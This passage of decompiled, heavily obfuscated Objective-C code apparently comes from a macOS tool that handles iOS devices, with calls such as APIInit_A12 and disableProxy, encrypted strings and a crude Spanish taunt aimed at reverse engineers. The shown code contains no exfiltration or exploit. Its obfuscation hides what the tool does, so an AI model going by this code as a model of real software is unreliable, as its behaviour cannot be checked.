v5 = -540047100;
v7 = 726212957;
goto LABEL_391;
}
if ( v87 == -2069709333 )
{
v5 = 1353725090;
v6 = 0;
v7 = 1849304510;
v8 = -857975517;
goto LABEL_371;
}
}
else if ( v87 == -2135761837 )
{
*v111 = 1559997138;
}
else if ( v87 == -2129021007 )
{
*v111 = -1539670386;
}
}
else if ( v87 <= -1853703819 )
{
if ( v87 == -1925202367 )
{
*v111 = -145058146;
}
else if ( v87 == -1910666554 )
{
*v111 = 376193304;
}
}
else
{
switch ( v87 )
{
case -1853703818:
v6 = 0;
v7 = -1211890043;
v8 = -912098094;
goto LABEL_371;
case -1809505979:
v25 = !v108;
v7 = 1264240508;
v26 = -969799511;
goto LABEL_381;
case -1762705086:
v5 = 46276768;
v19 = 1;
v7 = 1267218855;
v20 = 1684660275;
goto LABEL_389;
}
}
}
else if ( v87 > -1507436567 )
{
if ( v87 <= -1460677739 )
{
if ( v87 == -1507436566 )
{
a2 = (SEL)1855321160;
v5 = 1284595784;
v19 = 0;
v7 = -106602359;
v20 = -2071691393;
goto LABEL_389;
}
if ( v87 == -1492868273 )
{
v25 = !v105;
v7 = -1664811914;
v26 = -602614682;
goto LABEL_381;
}
}
else
{
switch ( v87 )
{
case -1460677738:
v5 = 419060435;
v25 = 0;
v100 = VersionTool[0];
v7 = -1460677738;
v26 = -1910666554;
goto LABEL_381;
case -1458201409:
NSLog(
CFSTR("I\\\xB0XO\\\x06\xD8\x47\xEB\xBD\xD5\x030\xA6\xF2\x06\x63\x57\x98o\x02T\xB8\xE2\xC7\x58\xDC\x17\x04\xEA\x96\xD4\xF2\xBE\x6A\x42\xEC\xFD\x8E\xEE\x98\x69Z$\x05q\x7F\x1B\xE9\x68\xDE"),
a2);
*v111 = -148218897;
break;
case -1453248680:
*v111 = -493433328;
break;
}
}
}
else if ( v87 <= -1655421612 )
{
if ( v87 == -1666202333 )
{
v5 = -1403287948;
v6 = 0;
v7 = -477799454;
v8 = 1487556864;
goto LABEL_371;
}
if ( v87 == -1664811914 )
{
v80 = "isEqualToString:";
*v111 = 2073016552;
}
}
else
{
switch ( v87 )
{
case -1655421611:
a2 = (SEL)520247707;
objc_release(v88);
v19 = 0;
v7 = -1655421611;
v20 = 37541234;
goto LABEL_389;
case -1571325632:
v25 = !v104;
v7 = 1663300407;
goto LABEL_304;
case -1539670386:
asc_100277170[9] = v110;
asc_100277170[10] = 111;
asc_100277170[11] = 110;
asc_100277170[12] = 79;
asc_100277170[13] = 112;
asc_100277170[14] = 116;
asc_100277170[15] = 105;
asc_100277170[16] = 111;
asc_100277170[17] = 110;
asc_100277170[18] = 83;
asc_100277170[19] = 101;
asc_100277170[20] = 97;
asc_100277170[21] = 114;
asc_100277170[22] = 99;
asc_100277170[23] = 104;
asc_100277170[24] = 70;
asc_100277170[25] = 111;
asc_100277170[26] = 114;
asc_100277170[27] = 80;
asc_100277170[28] = 97;
asc_100277170[29] = 105;
asc_100277170[30] = 114;
asc_100277170[31] = 101;
asc_100277170[32] = 100;
asc_100277170[33] = 68;
asc_100277170[34] = 101;
asc_100277170[35] = 118;
asc_100277170[36] = 105;
asc_100277170[37] = 99;
asc_100277170[38] = 101;
asc_100277170[39] = 115;
asc_100277170[40] = 0;
strcpy(asc_10027712F, "changelog");
asc_100277070[0] = 80;
asc_100277070[1] = 114;
asc_100277070[2] = 111;
asc_100277070[3] = 120;
asc_100277070[4] = 121;
asc_100277070[5] = 32;
asc_100277070[6] = 100;
asc_100277070[7] = 101;
asc_100277070[8] = 115;
asc_100277070[9] = 97;
asc_100277070[10] = 99;
asc_100277070[11] = 116;
asc_100277070[12] = 105;
asc_100277070[13] = 118;
asc_100277070[14] = 97;
asc_100277070[15] = 100;
asc_100277070[16] = 111;
asc_100277070[17] = 32;
asc_100277070[18] = 99;
asc_100277070[19] = 111;
asc_100277070[20] = 110;
asc_100277070[21] = 32;
asc_100277070[22] = 233;
asc_100277070[23] = 120;
asc_100277070[24] = 105;
asc_100277070[25] = 116;
asc_100277070[26] = 111;
asc_100277070[27] = 46;
asc_100277070[28] = 0;
asc_100276EDF[0] = 118;
asc_100276EDF[1] = 101;
asc_100276EDF[2] = 114;
asc_100276EDF[3] = 115;
asc_100276EDF[4] = 105;
asc_100276EDF[5] = 111;
asc_100276EDF[6] = 110;
asc_100276EDF[7] = 0;
aSE3HC[0] = 109;
aSE3HC[1] = 105;
aSE3HC[2] = 32;
aSE3HC[3] = 112;
aSE3HC[4] = 114;
aSE3HC[5] = 101;
aSE3HC[6] = 103;
aSE3HC[7] = 117;
aSE3HC[8] = 110;
aSE3HC[9] = 116;
aSE3HC[10] = 97;
aSE3HC[11] = 32;
aSE3HC[12] = 101;
aSE3HC[13] = 115;
aSE3HC[14] = 32;
aSE3HC[15] = 191;
aSE3HC[16] = 113;
aSE3HC[17] = 117;
aSE3HC[18] = 101;
aSE3HC[19] = 32;
aSE3HC[20] = 104;
aSE3HC[21] = 97;
aSE3HC[22] = 99;
aSE3HC[23] = 101;
aSE3HC[24] = 115;
aSE3HC[25] = 32;
aSE3HC[26] = 97;
aSE3HC[27] = 113;
aSE3HC[28] = 117;
aSE3HC[29] = 105;
aSE3HC[30] = 32;
aSE3HC[31] = 108;
aSE3HC[32] = 101;
aSE3HC[33] = 121;
aSE3HC[34] = 101;
aSE3HC[35] = 110;
aSE3HC[36] = 100;
aSE3HC[37] = 111;
aSE3HC[38] = 32;
aSE3HC[39] = 101;
aSE3HC[40] = 115;
aSE3HC[41] = 116;
aSE3HC[42] = 111;
aSE3HC[43] = 32;
aSE3HC[44] = 99;
aSE3HC[45] = 97;
aSE3HC[46] = 98;
aSE3HC[47] = 114;
aSE3HC[48] = 111;
aSE3HC[49] = 110;
aSE3HC[50] = 63;
aSE3HC[51] = 0;
strcpy(asc_100276F20, "NotificationOptionSearchForWiFiPairableDevices");
strcpy(asc_100276EB0, "New version available %@ (current: %@)");
a2 = (SEL)111;
strcpy(aI_5, "[!] Error: CheckVersion returned an invalid response");
strcpy(aN_18, "Changelog: %@");
v5 = 138;
v19 = 1;
v7 = -2461635;
v20 = -1539670386;
goto LABEL_389;
}
}
}
else if ( v87 > -1051879056 )
{
if ( v87 > -881327821 )
{
if ( v87 <= -792693729 )
{
if ( v87 == -881327820 )
{
v25 = !v101;
v7 = 1763652064;
v26 = 1925272433;
goto LABEL_381;
}
if ( v87 == -857975517 )
{
objc_release(v98);
*v111 = 1849304510;
}
}
else
{
switch ( v87 )
{
case -792693728:
v5 = 1884454285;
v6 = 1;
v7 = -2135761837;
v8 = 1559997138;
goto LABEL_371;
case -753272980:
objc_release(v88);
*v111 = -1655421611;
break;
case -725615275:
a2 = (SEL)2415672135LL;
v5 = 2;
v6 = 0;
v7 = 1122183339;
v8 = 40959998;
goto LABEL_371;
}
}
}
else if ( v87 <= -969799512 )
{
if ( v87 == -1051879055 )
{
a2 = v80;
objc_msgSend(v98, v80, v100);
*v111 = 1470575906;
}
else if ( v87 == -977230299 )
{
*v111 = -1080456393;
}
}
else
{
switch ( v87 )
{
case -969799511:
v19 = 1;
v7 = -1424928942;
v20 = -969058108;
goto LABEL_389;
case -969058108:
*v111 = -1424928942;
break;
case -912098094:
v21 = objc_msgSend(
v83,
"initWithRect:options:owner:userInfo:",
641,
self,
0,
v3,
*(_QWORD *)v94,
*((_QWORD *)v94 + 1),
*((_QWORD *)v94 + 2),
*((_QWORD *)v94 + 3));
v22 = activateTrackingArea;
activateTrackingArea = v21;
objc_release(v22);
objc_release(v92);
v23 = objc_msgSend(self, v95);
v24 = objc_retainAutoreleasedReturnValue(v23);
a2 = "addTrackingArea:";
HikariFunctionWrapper_16765(v24, "addTrackingArea:");
objc_release(v24);
*v111 = -1211890043;
break;
}
}
}
else if ( v87 > -1264109122 )
{
if ( v87 <= -1211890044 )
{
if ( v87 == -1264109121 )
{
v6 = 0;
v7 = -12058949;
v8 = 1412234876;
goto LABEL_371;
}
if ( v87 == -1219458069 )
*v111 = -171836845;
}
else
{
switch ( v87 )
{
case -1211890043:
v33 = objc_msgSend(
v83,
"initWithRect:options:owner:userInfo:",
641,
self,
0,
v3,
*(_QWORD *)v94,
*((_QWORD *)v94 + 1),
*((_QWORD *)v94 + 2),
*((_QWORD *)v94 + 3));
v34 = activateTrackingArea;
activateTrackingArea = v33;
objc_release(v34);
objc_release(v92);
v35 = HikariFunctionWrapper_16753(self, v95);
v36 = objc_retainAutoreleasedReturnValue(v35);
a2 = "addTrackingArea:";
objc_msgSend(v36, "addTrackingArea:", activateTrackingArea);
objc_release(v36);
v6 = 1;
v7 = -912098094;
v8 = 389465313;
goto LABEL_371;
case -1080456393:
asc_100277170[4] = 102;
asc_100277170[5] = 105;
asc_100277170[6] = 99;
asc_100277170[7] = 97;
asc_100277170[8] = 116;
v110 = 105;
*v111 = -2129021007;
break;
case -1058412491:
LOBYTE(v5) = 1;
a2 = (SEL)v5;
LOBYTE(a2) = 111;
asc_100277170[0] = 78;
asc_100277170[1] = 111;
asc_100277170[2] = 116;
asc_100277170[3] = 105;
v7 = -977230299;
goto LABEL_391;
}
}
}
else if ( v87 <= -1280857073 )
{
if ( v87 == -1436482239 )
{
*v111 = -534339239;
}
else if ( v87 == -1424928942 )
{
v19 = 1;
v82 = (Class)&OBJC_CLASS___NSTrackingArea;
v7 = 784371709;
v20 = -1424928942;
goto LABEL_389;
}
}
else
{
switch ( v87 )
{
case -1280857072:
*v111 = 185892755;
break;
case -1280586966:
HikariFunctionWrapper_16735(&stru_100277340.isa);
*v111 = 302285734;
break;
case -1268610466:
v11 = HikariFunctionWrapper_16761(v97, v79);
v12 = (__CFString *)objc_retainAutoreleasedReturnValue(v11);
v13 = v12;
if ( !v12 )
v13 = &stru_10025B688;
objc_retain(v13);
objc_release(v12);
NSLog(
CFSTR("\xC9\x24\x10\xF6\xE2\x49\x0C\x92\xF2\x92\xFE\x84KN\x9Cn\xB5\a\xA8\x1Dg\x9B\x13\x82\xB5'\xB5\x18\x98\xF0\x71\xE6\x01\x81d!\xBD<\x8A"),
v98,
v100);
a2 = (SEL)v13;
HikariFunctionWrapper_16763(CFSTR("\x1DN\xF4\x19\xB8\x3F\x1F\xE3\x30\xE6\xD8\x04Bi"));
*v111 = 689580654;
break;
}
}
}
else if ( v87 > -297514488 )
{
if ( v87 > -97239412 )
{
if ( v87 > -22121052 )
{
if ( v87 <= -2461636 )
{
if ( v87 == -22121051 )
{
v25 = v85 == 65343659;
v7 = -63328573;
v26 = 314936518;
goto LABEL_381;
}
if ( v87 == -12058949 )
{
v5 = -1222619650;
v29 = v94;
*((_OWORD *)v94 + 1) = 0;
*v29 = 0;
v7 = 1136638434;
goto LABEL_391;
}
}
else
{
switch ( v87 )
{
case -2461635:
*v111 = 1763652064;
break;
case 599673:
v45 = objc_msgSend(self, v95);
v46 = objc_retainAutoreleasedReturnValue(v45);
a2 = "removeTrackingArea:";
objc_msgSend(v46, "removeTrackingArea:", activateTrackingArea);
*v111 = 823470650;
break;
case 37541234:
*v111 = -364111763;
break;
}
}
}
else if ( v87 <= -58818099 )
{
if ( v87 == -97239411 )
{
v5 = 608182792;
a2 = (SEL)2263035056LL;
v6 = 1;
v7 = 1972284260;
v8 = -205869627;
goto LABEL_371;
}
if ( v87 == -63328573 )
*v111 = 314936518;
}
else
{
switch ( v87 )
{
case -58818098:
*v111 = -654182311;
break;
case -46186943:
*v111 = 1852769368;
break;
case -27273302:
v25 = !v103;
v7 = 1021660536;
LABEL_304:
v26 = 1221977415;
goto LABEL_381;
}
}
}
else if ( v87 > -205869628 )
{
if ( v87 <= -148218898 )
{
if ( v87 == -205869627 )
{
v3 = 2689358500LL;
a2 = (SEL)25199632;
v5 = -489201269;
v7 = -1809505979;
goto LABEL_391;
}
if ( v87 == -171836845 )
{
a2 = (SEL)664203881;
v5 = 0;
v19 = 1;
v77 = &OBJC_CLASS___NSDictionary;
v7 = -1280857072;
v20 = -171836845;
goto LABEL_389;
}
}
else
{
switch ( v87 )
{
case -148218897:
NSLog(
CFSTR("I\\\xB0XO\\\x06\xD8\x47\xEB\xBD\xD5\x030\xA6\xF2\x06\x63\x57\x98o\x02T\xB8\xE2\xC7\x58\xDC\x17\x04\xEA\x96\xD4\xF2\xBE\x6A\x42\xEC\xFD\x8E\xEE\x98\x69Z$\x05q\x7F\x1B\xE9\x68\xDE"),
a2);
v25 = 0;
v7 = -148218897;
v26 = 307330169;
goto LABEL_381;
case -145058146:
v6 = 1;
v7 = -1925202367;
v8 = -881327820;
goto LABEL_371;
case -106602359:
*v111 = -2071691393;
break;
}
}
}
else if ( v87 <= -282741555 )
{
if ( v87 == -297514487 )
{
v19 = 1;
v7 = 1307819156;
v20 = -584196616;
goto LABEL_389;
}
if ( v87 == -288697802 )
{
v101 = v86 == 0;
v19 = 1;
v7 = 878140712;
v20 = -288697802;
goto LABEL_389;
}
}
else
{
switch ( v87 )
{
case -282741554:
*v111 = 2064212197;
break;
case -247421474:
APIInit_A12();
v42 = HikariFunctionWrapper_16745();
v97 = objc_retainAutoreleasedReturnValue(v42);
*v111 = -792693728;
break;
case -231345443:
*v111 = -1507436566;
break;
}
}
}
else if ( v87 > -542794751 )
{
if ( v87 > -385079084 )
{
if ( v87 <= -364111764 )
{
if ( v87 == -385079083 )
{
*v111 = -2069709333;
}
else if ( v87 == -368967707 )
{
LABEL_289:
*v111 = -1853703818;
}
}
else
{
switch ( v87 )
{
case -364111763:
v19 = 1;
v7 = 1615665343;
v20 = 1733149162;
goto LABEL_389;
case -337706362:
v5 = -105450279;
v19 = 0;
v7 = -1925202367;
v20 = -145058146;
goto LABEL_389;
case -336154740:
*v111 = -969799511;
break;
}
}
}
else if ( v87 <= -493433329 )
{
if ( v87 == -542794750 )
{
v5 = -2142616543;
v7 = 825094852;
goto LABEL_391;
}
if ( v87 == -534339239 )
{
v6 = 0;
v7 = 1470630026;
v8 = -1436482239;
goto LABEL_371;
}
}
else
{
switch ( v87 )
{
case -493433328:
v5 = -904093279;
a2 = (SEL)2214592512LL;
v25 = 0;
v7 = -690094984;
v26 = 1271308223;
goto LABEL_381;
case -477799454:
v83 = objc_alloc(v82);
a2 = v95;
v43 = objc_msgSend(self, v95);
v44 = objc_retainAutoreleasedReturnValue(v43);
v19 = 1;
v92 = v44;
v7 = 781425004;
v20 = 1487556864;
goto LABEL_389;
case -458272206:
v25 = 0;
v7 = 354410905;
v26 = -1460677738;
goto LABEL_381;
}
}
}
else if ( v87 > -609716361 )
{
if ( v87 <= -594702917 )
{
if ( v87 == -609716360 )
{
v5 = -375127420;
v19 = 1;
v7 = 643079294;
v20 = 143270558;
goto LABEL_389;
}
if ( v87 == -602614682 )
{
v5 = 1053628634;
a2 = (SEL)1214256720;
v19 = 1;
v7 = -654182311;
v20 = -58818098;
goto LABEL_389;
}
}
else
{
switch ( v87 )
{
case -594702916:
*v111 = -725615275;
break;
case -584196616:
objc_release(v100);
*v111 = 1307819156;
break;
case -562472038:
a2 = "class";
HikariFunctionWrapper_16759(v77, "class");
*v111 = 1465751521;
break;
}
}
}
else if ( v87 <= -690094985 )
{
if ( v87 == -713755383 )
{
*v111 = -609716360;
}
else if ( v87 == -696892944 )
{
a2 = (SEL)v92;
objc_msgSend_stret(v94, (SEL)v92, v84);
*v111 = 1420462941;
}
}
else
{
switch ( v87 )
{
case -690094984:
objc_release(v97);
*v111 = 1271308223;
break;
case -654182311:
v108 = activateTrackingArea == 0;
v6 = 1;
v7 = -654182311;
v8 = 95931337;
goto LABEL_371;
case -630654308:
a2 = v89;
v9 = objc_msgSend(v75, v89, 1);
v10 = objc_retainAutoreleasedReturnValue(v9);
*v93 = v10;
*((_QWORD *)v91 + 1) = CFSTR("\x909\xE0\x94\x4E\xD4\xC1x\xFF.u)\xCE\xE1\x17d\xDF\x71\x8B0*\xD1\x4C\xFA\x8F\xF9\xB1\xB1\xB88̢\xC2\x02\x97Sx:\xEB\xC8\xB9]\x8D\xF7\xE2\xE0\xF3");
*v111 = 607527819;
break;
}
}
}
if ( v87 <= 1136638433 )
break;
if ( v87 > 1599693430 )
{
if ( v87 > 1852769367 )
{
if ( v87 > 1972284259 )
{
if ( v87 <= 2064212196 )
{
if ( v87 == 1972284260 )
{
*v111 = -205869627;
}
else if ( v87 == 2024916899 )
{
*v111 = 1111920273;
}
}
else
{
switch ( v87 )
{
case 2064212197:
v19 = 0;
v84 = "bounds";
v7 = 2064212197;
v20 = 2024916899;
goto LABEL_389;
case 2073016552:
v5 = 377882645;
v7 = 1470575906;
goto LABEL_391;
case 2103087256:
*(_QWORD *)block = _NSConcreteStackBlock;
*((_DWORD *)block + 2) = -1040187392;
*((_DWORD *)block + 3) = 0;
*((_QWORD *)block + 2) = __45__AppDelegate_applicationDidFinishLaunching___block_invoke;
*((_QWORD *)block + 3) = &__block_descriptor_56_e8_32s40s48s_e5_v8__0l;
v90 = (id *)((char *)block + 32);
objc_retain(v98);
*v111 = -542794750;
break;
}
}
}
else if ( v87 <= 1915861720 )
{
if ( v87 == 1852769368 )
{
v5 = 290825;
v107 = v106 == 0;
v6 = 0;
v7 = 1262861574;
v8 = 1852769368;
goto LABEL_371;
}
if ( v87 == 1861068726 )
*v111 = 1577230106;
}
else
{
switch ( v87 )
{
case 1915861721:
v25 = 0;
v7 = -630654308;
v26 = 607527819;
goto LABEL_381;
case 1925272433:
v19 = 0;
v7 = 1710165717;
v20 = -1058412491;
goto LABEL_389;
case 1948400772:
v25 = 0;
v7 = -46186943;
v26 = 1852769368;
goto LABEL_381;
}
}
}
else if ( v87 > 1707416566 )
{
if ( v87 <= 1733149161 )
{
if ( v87 == 1707416567 )
{
*v111 = -493433328;
}
else if ( v87 == 1710165717 )
{
asc_100277170[0] = 78;
asc_100277170[1] = 111;
asc_100277170[2] = 116;
asc_100277170[3] = 105;
*v111 = -1058412491;
}
}
else
{
switch ( v87 )
{
case 1733149162:
*v111 = 1615665343;
break;
case 1763652064:
dword_10029F4B8 = 1;
v93 = (id *)&v74;
v91 = &v74;
block = &v75 - 8;
v94 = &v73;
a2 = "mainBundle";
v49 = HikariFunctionWrapper_16727(&OBJC_CLASS___NSBundle, "mainBundle");
v50 = objc_retainAutoreleasedReturnValue(v49);
v51 = myBundle;
myBundle = v50;
objc_release(v51);
objc_retain(self);
v52 = AldazDevClass;
AldazDevClass = self;
objc_release(v52);
*(_QWORD *)v91 = CFSTR("\xE6\xD7\x49\xF7\x92\x0F\xAF\xCD\x69d\x1A\x9F\x99BǐsE҅8\x96\xCF\xF5l\xAC\xA7\xC2\x54\x8D\xE0\xC0\x91\xCC\xFB\xF4\x48\x9E\xE4");
v75 = &OBJC_CLASS___NSNumber;
v89 = "numberWithInt:";
*v111 = 1915861721;
break;
case 1849304510:
objc_release(v98);
v19 = 1;
v7 = 1707416567;
v20 = 1849304510;
goto LABEL_389;
}
}
}
else if ( v87 <= 1615665342 )
{
if ( v87 == 1599693431 )
{
*v111 = -602614682;
}
else if ( v87 == 1612096452 )
{
*v90 = v98;
v30 = block;
objc_retain(v100);
*((_QWORD *)v30 + 5) = v100;
v31 = (id *)block;
*((_QWORD *)block + 6) = v96;
objc_retain(v96);
a2 = (SEL)block;
dispatch_async(&_dispatch_main_q, block);
objc_release(v31[6]);
objc_release(*((id *)v30 + 5));
objc_release(*v90);
objc_release(v96);
*v111 = 825094852;
}
}
else
{
switch ( v87 )
{
case 1615665343:
*v111 = 872842420;
break;
case 1663300407:
a2 = "objectForKeyedSubscript:";
v79 = "objectForKeyedSubscript:";
v47 = objc_msgSend(v97, "objectForKeyedSubscript:", CFSTR("\x9B\xE6\x20\x6C9\x14\x857"));
v98 = objc_retainAutoreleasedReturnValue(v47);
*v111 = -458272206;
break;
case 1684660275:
*v111 = 1267218855;
break;
}
}
}
else if ( v87 > 1420462940 )
{
if ( v87 > 1524736639 )
{
if ( v87 <= 1559997137 )
{
if ( v87 == 1524736640 )
{
v37 = v93;
v38 = objc_msgSend(&OBJC_CLASS___NSNumber, v89, 0);
v39 = objc_retainAutoreleasedReturnValue(v38);
v37[1] = v39;
v40 = HikariFunctionWrapper_16731(
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:");
v41 = objc_retainAutoreleasedReturnValue(v40);
a2 = 0;
HikariFunctionWrapper_16733((__int64)DeviceNotificationReceived);
objc_release(v41);
objc_release(v39);
objc_release(v76);
v102 = disableProxy();
v7 = 361933204;
goto LABEL_391;
}
if ( v87 == 1559538425 )
*v111 = 1099637180;
}
else
{
switch ( v87 )
{
case 1559997138:
v103 = v97 == 0;
v19 = 0;
v7 = 1559997138;
v20 = -27273302;
goto LABEL_389;
case 1577230106:
v7 = -1655421611;
goto LABEL_391;
case 1582972631:
v7 = 1524736640;
goto LABEL_391;
}
}
}
else if ( v87 <= 1470575905 )
{
if ( v87 == 1420462941 )
{
a2 = (SEL)v92;
objc_msgSend_stret(v94, (SEL)v92, v84);
v6 = 0;
v7 = -231345443;
LABEL_345:
v8 = -696892944;
goto LABEL_371;
}
if ( v87 == 1465751521 )
{
a2 = "class";
v32 = HikariFunctionWrapper_16747(v77, "class");
v6 = 1;
v78 = v32;
v7 = 1465751521;
v8 = -594702916;
goto LABEL_371;
}
}
else
{
switch ( v87 )
{
case 1470575906:
a2 = v80;
v67 = (unsigned __int8)HikariFunctionWrapper_16749(v98, v80);
v6 = 1;
v106 = v67;
v7 = -1051879055;
v8 = 206919080;
LABEL_371:
if ( v6 )
v7 = v8;
goto LABEL_391;
case 1470630026:
*v111 = 949669625;
break;
case 1487556864:
objc_alloc(v82);
a2 = v95;
v27 = objc_msgSend(self, v95);
objc_retainAutoreleasedReturnValue(v27);
*v111 = -477799454;
break;
}
}
}
else if ( v87 > 1267218854 )
{
if ( v87 <= 1307819155 )
{
if ( v87 == 1267218855 )
{
v5 = -1880177545;
v19 = 0;
v95 = "activateButton";
v7 = 1684660275;
v20 = 425537089;
goto LABEL_389;
}
if ( v87 == 1271308223 )
{
a2 = (SEL)127861026;
objc_release(v97);
v19 = 1;
v7 = 1861068726;
v20 = -690094984;
goto LABEL_389;
}
}
else
{
switch ( v87 )
{
case 1307819156:
objc_release(v100);
v19 = 1;
v7 = -385079083;
v20 = 1307819156;
goto LABEL_389;
case 1412234876:
v48 = v94;
*((_OWORD *)v94 + 1) = 0;
*v48 = 0;
*v111 = -12058949;
break;
case 1414818816:
LABEL_290:
*v111 = 1004601041;
break;
}
}
}
else if ( v87 <= 1221977414 )
{
if ( v87 == 1136638434 )
{
*v111 = -368967707;
}
else if ( v87 == 1196314606 )
{
v5 = 549012020;
v6 = 1;
v7 = -282741554;
v8 = 2064212197;
goto LABEL_371;
}
}
else
{
switch ( v87 )
{
case 1221977415:
v5 = 1188717616;
a2 = (SEL)310924545;
v19 = 0;
v7 = -1458201409;
v20 = -148218897;
goto LABEL_389;
case 1262861574:
v25 = !v107;
v7 = -602614682;
v26 = 43691093;
goto LABEL_381;
case 1264240508:
v6 = 0;
v7 = 823470650;
v8 = 599673;
goto LABEL_371;
}
}
}
if ( v87 > 607527818 )
break;
if ( v87 > 306765600 )
{
if ( v87 > 376193303 )
{
if ( v87 <= 425537088 )
{
if ( v87 == 376193304 )
{
*v111 = 41380487;
}
else if ( v87 == 389465313 )
{
*v111 = -297514487;
}
}
else
{
switch ( v87 )
{
case 425537089:
*v111 = -97239411;
break;
case 565823020:
goto LABEL_290;
case 590737201:
objc_retain(v100);
*v111 = 41380487;
break;
}
}
}
else if ( v87 <= 314936517 )
{
if ( v87 == 306765601 )
{
*v111 = -336154740;
}
else if ( v87 == 307330169 )
{
*v111 = -1453248680;
}
}
else
{
switch ( v87 )
{
case 314936518:
v5 = 868619124;
v25 = 0;
v86 = dword_10029F4B8;
v7 = 314936518;
v26 = 1559538425;
LABEL_381:
if ( !v25 )
v7 = v26;
goto LABEL_391;
case 354410905:
*v111 = -1460677738;
break;
case 361933204:
v25 = !v102;
v7 = 949669625;
v26 = -1280586966;
goto LABEL_381;
}
}
}
else if ( v87 > 143270557 )
{
if ( v87 <= 206919079 )
{
if ( v87 == 143270558 )
{
objc_release(v81);
*v111 = 643079294;
}
else if ( v87 == 185892755 )
{
v6 = 1;
v7 = -562472038;
v8 = 1465751521;
goto LABEL_371;
}
}
else
{
switch ( v87 )
{
case 206919080:
*v111 = 1948400772;
break;
case 230434414:
v25 = !v109;
v7 = 1196314606;
v26 = -1264109121;
goto LABEL_381;
case 302285734:
v6 = 1;
v7 = -1436482239;
v8 = -534339239;
goto LABEL_371;
}
}
}
else if ( v87 <= 43691092 )
{
if ( v87 == 40959998 )
{
a2 = "isKindOfClass:";
objc_msgSend(v97, "isKindOfClass:", v78);
*v111 = 1122183339;
}
else if ( v87 == 41380487 )
{
objc_retain(v100);
v105 = v98 == 0;
v25 = 0;
v7 = 41380487;
v26 = -1492868273;
goto LABEL_381;
}
}
else
{
switch ( v87 )
{
case 43691093:
v19 = 0;
v7 = -1268610466;
v20 = 689580654;
LABEL_389:
if ( !v19 )
v7 = v20;
LABEL_391:
*v111 = v7;
break;
case 95931337:
*v111 = -1762705086;
break;
case 108904576:
*v111 = 1582972631;
break;
}
}
}
if ( v87 > 825094851 )
break;
if ( v87 > 726212956 )
{
if ( v87 <= 784371708 )
{
if ( v87 == 726212957 )
goto LABEL_289;
if ( v87 == 781425004 )
*v111 = 565823020;
}
else
{
switch ( v87 )
{
case 784371709:
*v111 = -1666202333;
break;
case 811557414:
*v111 = -288697802;
break;
case 823470650:
v28 = objc_msgSend(self, v95);
v81 = objc_retainAutoreleasedReturnValue(v28);
a2 = "removeTrackingArea:";
objc_msgSend(v81, "removeTrackingArea:", activateTrackingArea);
v19 = 0;
v7 = 599673;
v20 = -713755383;
goto LABEL_389;
}
}
}
else if ( v87 <= 647717386 )
{
if ( v87 == 607527819 )
{
a2 = v89;
v66 = HikariFunctionWrapper_16729(v75, v89);
v76 = objc_retainAutoreleasedReturnValue(v66);
*v93 = v76;
*((_QWORD *)v91 + 1) = CFSTR("\x909\xE0\x94\x4E\xD4\xC1x\xFF.u)\xCE\xE1\x17d\xDF\x71\x8B0*\xD1\x4C\xFA\x8F\xF9\xB1\xB1\xB88̢\xC2\x02\x97Sx:\xEB\xC8\xB9]\x8D\xF7\xE2\xE0\xF3");
v7 = 108904576;
goto LABEL_391;
}
if ( v87 == 643079294 )
{
objc_release(v81);
v19 = 0;
v7 = 643079294;
v20 = 306765601;
goto LABEL_389;
}
}
else
{
switch ( v87 )
{
case 647717387:
asc_100277170[9] = v110;
asc_100277170[10] = 111;
asc_100277170[11] = 110;
asc_100277170[12] = 79;
asc_100277170[13] = 112;
asc_100277170[14] = 116;
asc_100277170[15] = 105;
asc_100277170[16] = 111;
asc_100277170[17] = 110;
asc_100277170[18] = 83;
asc_100277170[19] = 101;
asc_100277170[20] = 97;
asc_100277170[21] = 114;
asc_100277170[22] = 99;
asc_100277170[23] = 104;
asc_100277170[24] = 70;
asc_100277170[25] = 111;
asc_100277170[26] = 114;
asc_100277170[27] = 80;
asc_100277170[28] = 97;
asc_100277170[29] = 105;
asc_100277170[30] = 114;
asc_100277170[31] = 101;
asc_100277170[32] = 100;
asc_100277170[33] = 68;
asc_100277170[34] = 101;
asc_100277170[35] = 118;
asc_100277170[36] = 105;
asc_100277170[37] = 99;
asc_100277170[38] = 101;
asc_100277170[39] = 115;
asc_100277170[40] = 0;
strcpy(asc_10027712F, "changelog");
asc_100277070[0] = 80;
asc_100277070[1] = 114;
asc_100277070[2] = 111;
asc_100277070[3] = 120;
asc_100277070[4] = 121;
asc_100277070[5] = 32;
asc_100277070[6] = 100;
asc_100277070[7] = 101;
asc_100277070[8] = 115;
asc_100277070[9] = 97;
asc_100277070[10] = 99;
asc_100277070[11] = 116;
asc_100277070[12] = 105;
asc_100277070[13] = 118;
asc_100277070[14] = 97;
asc_100277070[15] = 100;
asc_100277070[16] = 111;
asc_100277070[17] = 32;
asc_100277070[18] = 99;
asc_100277070[19] = 111;
asc_100277070[20] = 110;
asc_100277070[21] = 32;
asc_100277070[22] = 233;
asc_100277070[23] = 120;
asc_100277070[24] = 105;
asc_100277070[25] = 116;
asc_100277070[26] = 111;
asc_100277070[27] = 46;
asc_100277070[28] = 0;
asc_100276EDF[0] = 118;
asc_100276EDF[1] = 101;
asc_100276EDF[2] = 114;
asc_100276EDF[3] = 115;
asc_100276EDF[4] = 105;
asc_100276EDF[5] = 111;
asc_100276EDF[6] = 110;
aSE3HC[0] = 109;
aSE3HC[1] = 105;
aSE3HC[2] = 32;
aSE3HC[3] = 112;
aSE3HC[4] = 114;
aSE3HC[5] = 101;
aSE3HC[6] = 103;
aSE3HC[7] = 117;
aSE3HC[8] = 110;
aSE3HC[9] = 116;
aSE3HC[10] = 97;
aSE3HC[11] = 32;
aSE3HC[12] = 101;
aSE3HC[13] = 115;
aSE3HC[14] = 32;
aSE3HC[15] = 191;
aSE3HC[16] = 113;
aSE3HC[17] = 117;
aSE3HC[18] = 101;
aSE3HC[19] = 32;
aSE3HC[20] = 104;
aSE3HC[21] = 97;
aSE3HC[22] = 99;
aSE3HC[23] = 101;
aSE3HC[24] = 115;
aSE3HC[25] = 32;
aSE3HC[26] = 97;
aSE3HC[27] = 113;
aSE3HC[28] = 117;
aSE3HC[29] = 105;
aSE3HC[30] = 32;
aSE3HC[31] = 108;
aSE3HC[32] = 101;
aSE3HC[33] = 121;
aSE3HC[34] = 101;
aSE3HC[35] = 110;
aSE3HC[36] = 100;
aSE3HC[37] = 111;
aSE3HC[38] = 32;
aSE3HC[39] = 101;
aSE3HC[40] = 115;
aSE3HC[41] = 116;
aSE3HC[42] = 111;
aSE3HC[43] = 32;
aSE3HC[44] = 99;
aSE3HC[45] = 97;
aSE3HC[46] = 98;
